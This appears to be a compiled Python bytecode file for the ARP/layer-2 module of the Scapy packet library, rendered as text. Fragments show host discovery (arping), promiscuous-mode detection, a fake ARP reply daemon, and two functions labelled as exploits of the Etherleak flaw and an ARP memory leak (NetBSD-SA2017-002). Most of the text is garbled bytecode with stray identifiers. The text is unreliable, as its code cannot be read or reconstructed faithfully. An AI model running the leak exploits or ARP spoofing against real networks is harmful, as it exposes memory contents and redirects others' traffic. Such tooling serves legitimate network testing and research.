rd   r*  Tnetr   cacher   threadedr   c           	         |t           j        }d}d|v rt          |d                   }t          | t                    r	| d         }nt          |           }t           j                            |d          d         }|dk    rmd|v rt          |d                   }nSt          d|z             t          t           j	                  }t          t           j	                  }t           j	        |d<   t          t          d	|
          t          | ||          z  f|d|||d|\  }	}
t          |	j                  }	|r'|	%|	D ]"}|d         j        t           |d         j        <   #|	|r|	                                 |	|
fS )z
    Send ARP who-has requests to determine which hosts are up::

        arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None

    Set cache=True if you want arping to modify internal ARP-Cache
    Nr   r   F)r   r   r   zUNo route found for IPv4 destination %s. Using conf.iface. Please provide an 'iface' !r   r  )r   rU  r   r  )r   r  r   r:  r  )r
   verbr   r   r  r  r   r   r   r   r@   r   r   r*  r   r   r   rU  r7  )r8  r   r9  r   r:  r   hwaddrhintrU  ansunanspairs               rb   r  r    s    )F%uW~..#t 1v3xx:D%003DyeuW~..DD@BFGH H H tz**D"4:..F!ZE'N%6222S6
 6
 6
 	
 #   JC sw

C 5 	5 	5D'+Aw}JtAw|$$
7


:rd   ff:ff:00:00:00:00c                 x    t          t          |          t          d|           z  ft          | ddd|}|duS )zLTry to guess if target is in Promisc mode. The target is provided by its ip.r   r   r   r   r   )r   r  r   r   N)rA   r   r   r   )r   
fake_bcastr   	responsess       rb   
is_promiscrF  Q  sc    
 Uz***SIB-G-G-GG  Gidfpq{|  G  G  AF  G  GID  rd   ff:ff:ff:ff:ff:fec                     t          t          |          t          |           z  fd|| d|\  }}t          |j        d          }|                                 ||fS )zqSend ARP who-has requests to determine which hosts are in promiscuous mode
    promiscping(net, iface=conf.iface)r   r   r  )r  r   r  PROMISCPingr   )r@   r   r   r*  r   r7  )r8  r   rD  r   r?  r@  s         rb   promiscpingrL  [  sz    
 Uz***Sc]]]: \0'c\ \UZ\ \JC
sw]
3
3
3CHHJJJ:rd   c                   R    e Zd ZdZdZdZ ee          Zd
dZ	d Z
d ZddZd	 ZdS )ARP_ama  Fake ARP Relay Daemon (farpd)

    example:
    To respond to an ARP request for 192.168.100 replying on the
    ingress interface::

      farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05')

    To respond on a different interface add the interface parameter::

      farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05',iface='eth0')

    To respond on ANY arp request on an interface with mac address ARP_addr::

      farpd(ARP_addr='00:01:02:03:04:05',iface='eth1')

    To respond on ANY arp request with my mac addr on the given interface::

      farpd(iface='eth1')

    Optional Args::

     inter=<n>   Interval in seconds between ARP replies being sent

    farpdarpNc                     t          |t                    rt          |          | _        n|| _        t          |t                    rt          |          | _        n|| _        || _        d S r]   )r   r  r   IP_addrfrom_ipARP_addr)ra   rR  rT  rS  s       rb   parse_optionszARP_am.parse_options  s]    gs## 	#w<<DLL"DLgs## 	#w<<DLL"DL rd   c                     |                     t                    sdS |t                   }|j        dk    o-| j        d u p|j        | j        v o| j        d u p|j        | j        v S )NFr   )haslayerr   r   rR  r   rS  rU  )ra   reqrP  s      rb   
is_requestzARP_am.is_request  sl    ||C   	5#hFaK ?\T!=SX%=?\T!=SX%=	
rd   c                     |t                    }|t                   }d| j        v r@t          t          t
          t          f         | j                            d                    }n(t          j	        	                    |j
                  \  }}}|| _        | j        #	 t          |          }n# t          $ r d}Y nw xY w| j        }t          |j        |          t          d||j        |j        |j
                  z  }|S )Nr   r   r  rV  )r   r   rU  ru  r   )r   r   optsendrX   rW   rY   r  r   r
   r   rU  r   rT  r   r   r   r   r   )	ra   rX  etherrP  r   ar   rT  resps	            rb   
make_replyzARP_am.make_reply  s   E
#hdl""u-s23T\5E5Eg5N5NOOCC))#(33JCB= /(-- / / /./ }H!# # #%(G/7.1h/2y.1h	&8 &8 &88 s   B+ +B:9B:c                 v    d| j         v r | j        |fi | j          d S  | j        |fd| j        i| j          d S )Nr   )r[  send_functionr   )ra   replyra  s      rb   
send_replyzARP_am.send_reply  s\    dl""Du5555555DuEEDHEEEEEErd   c                     t          |                                d|                                d| j                   d S )Nz ==> z on )r!  summaryr   )ra   rX  rb  s      rb   print_replyzARP_am.print_reply  s9    3;;====%--////488LMMMMMrd   r  r]   )rt   ry   rz   r  function_namer  staticmethodr?   ra  rU  rY  r_  rc  rf  r{   rd   rb   rN  rN  h  s         4 MF L''M
! 
! 
! 
!	
 	
 	
  2F F F FN N N N Nrd   rN  c                 ^    t          t                      t          |           z  fd dd|S )zExploit Etherleak flawrI  c                 ~    t           j        | d         v o)t          | d         t           j                 j                  S r  )r
   padding_layerrE   load)s_rs    rb   r   zetherleak.<locals>.<lambda>  s.    t1SV;gs1vdN`GaGf@g@g rd   rP  )prnr  )r@   r   r   )r  r   s     rb   	etherleakro    sG     uww&)))) &gg& &$& & &rd   r  c                 B   i }t          |           D ]}t          j                            |j                  d         }t	          |          }t          |          }||_        ||_        |dk    r||_        n=t          |          d|         |_        t          |j                  d|         |_        |dk    r||_
        nt          |          d|         |_
        |                    |g                               t          |t                    |z             t!                      t#          d          }
}	|                                D ]0\  }}t'          |f|d	d
|\  }}|	|z  }	|
|z  }
d|	_        d|
_        1|	D ]\  }}t           |vr|t                    }|                    d                              ||j                  }|dk    rGt/          |          dk    r4t1          d           t3          |dd                    t1                       |                    d                              ||j
                  }|dk    rGt/          |          dk    r4t1          d           t3          |dd                    t1                       |	|
fS )zExploit ARP leak flaws, like NetBSD-SA2017-002.

https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc

    rI  r   r   Nr   r  
UnansweredrK  rP  )r   r  ResultsrU  r   )r   r
   r   r   r   r   rT  rQ  rU  rH   r   rJ   
setdefaultr4  r   r   r=   r;   itemsr@   listnamer  r   r   r!  rD   )r  rT  rQ  r   
pkts_ifacer   r   rU  r   r?  r@  pktsans_new	unans_newr   rcvs                   rb   arpleakr{    s    J 
 
 
  **1-5!!e$$	199CHH uu-CH **5D51CHA::CIIvv.CIeR((//e111C7	
 	
 	
 	
 z|<<<C!'')) & &t JU5JJEJJw %  3c>>#h}}V$$((ch77!88D		A&MMMDHGGGg&&**3	::199Ua'NNNE!""IGGG:rd   )r   )FNr   )NNFNNr   )r   r   NT)rB  )r   rG  )r  r  )r  r"  r   r   r  scapy.ansmachiner   
scapy.archr   r   scapy.base_classesr   r   r   scapy.compatr	   scapy.configr
   scapyr   
scapy.datar   r   r   r   r   r   r   r   r   r   r   r   r   r   scapy.errorr   r   r   scapy.fieldsr   r   r   r    r!   r"   r#   r$   r%   r&   r'   r(   r)   r*   r+   r,   r-   r.   r/   r0   r1   r2   r3   r4   r5   r6   scapy.interfacesr7   r8   scapy.packetr9   r:   scapy.plistr;   r<   r=   r>   scapy.sendrecvr?   r@   rA   rB   scapy.utilsrC   rD   rE   rF   rG   rH   rI   rJ   rK   rL   rM   rN   typingrO   rP   rQ   rR   rS   rT   rU   rV   rW   rX   rY   r   scapy.router  _ResolverCallabler[   r   netcache	new_cacher   commandsregisterr   r   r   r  r   r   r  r  ri   r  r  r  r#  r)  r-  r@  r   r  r  r  r  r  r  r  r  r  r  r  r5  l2typesregister_num2layerregister_layer2numl3typesr  r(  r*  r  boolr  rF  rL  rN  ro  r{  r{   rd   rb   <module>r     sv           - - - - - - 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2                  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y         
                                                       8 ? > > > > > > > , , , , , , , ,            5 4 4 4 4 4 4 4 4 4 4 4                                                    . - - - - - : ff-x}<= e e e e e e e e* 

 ]$$[#66
 3 3 3 3p5 5 5 5 58 5 5 5:F F F F FX F F F2 w "	
 w  x ~ y   
     !" #$ 	+  0  F F %L     F   >    6   <) ) ) ) )& ) ) ),v ,6 ,hsm , , , ,   %n 5 5 5   $^ 4 4 4    A A A A A& A A A	4 	4 	4 	4 	4K 	4 	4 	41 1 1 1 1f 1 1 1@ @ @ @ @6 @ @ @   $n 5 5 5&K &K &K &K &KF &K &K &KR   % 7 7 72 2 2 2 2& 2 2 2${8 {8 {8 {8 {8& {8 {8 {8|6 v (3-    4   %&8 9 9 9       ! ! ! ! !& ! ! !H         s      J" " " " "\ " " " #)fF	< <	D 	D 	D 	D 	Dv 	D 	D 	D 
> BOOB B B B B( B B B
    U   ; ; ; ; ;V ; ; ;*   % 8 8 8 D#    E3S ! ! ! ! E3U # # # # E5u % % % % E6 ' ' ' ' E6 ' ' ' ' FF ( ( ( ( FE ' ' ' ' FF ( ( ( ( E6 ' ' ' ' E6 ' ' ' ' FE    E5q ! ! ! ! E3T " " " " KC ( ( ( ( Ke , , , , Kf - - - - Kf - - - - Ka ( ( ( ( KD ) ) ) ) OU # # # CC         Ce $ $ $ $ Cf % % % % Cf % % % % Cf % % % % CD ! ! ! ! C/3 4 4 4 J1(K(K L L L J
 # # # C2BQ / / / / CCc 2 2 2 2 D%e $ $ $ $ D&v & & & & D&v & & & & D%a         D#D ! ! ! ! D#C           lE * * *    7 7 7    7 7 7   d 3 3 3   m[ 1 1 1   nm 4 4 4   *O < < <    < < <   h ) ) )   h 0 0 0   i % % %  
8 8 8 8v  
	

x x x xv
 
 
 
 
: 
 
 
: $( 	8 8 888 SM8 	8
 8 lJ./8 8 8 8v ! ! ! ! 	 	 	 	XN XN XN XN XNf% XN XN XNv & & & 2 2 2 2 2 2rd   